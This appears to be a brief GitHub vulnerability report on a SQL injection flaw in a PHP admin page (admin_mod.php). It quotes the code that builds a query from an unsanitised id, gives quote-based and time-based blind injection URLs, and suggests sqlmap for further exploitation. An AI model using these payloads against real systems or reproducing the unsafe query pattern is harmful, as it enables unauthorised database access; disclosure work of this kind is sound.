jsjbcyber Update bug_h History

1 contributor

25 lines (22 sloc) | 886 Bytes

```
Build environment with PHP5.
--------------------------------
affected source code file: /admin/manager/admin_mod.php
--------------------------------
affected source code:

    .....
    <?php
        $id = getvar('id');
        $list = $db->getOneRow(get_sql("select * from {pre}manager where id = " . $id));
        //die($list);
        //die($result1);
    ?>
     .....

--------------------------------
affected reason:
      We can see the $id parameter has not been safely processed. So, the SQL injection can be ach
--------------------------------
affected executable:
  Like this:
            http://xx.xx.com/admin/manager/admin_mod.php?id=2'
            http://xx.xx.com/admin/manager/admin_mod.php?id=2 RLIKE SLEEP(2)

Then, we can use tools like sqlmap for more information.
```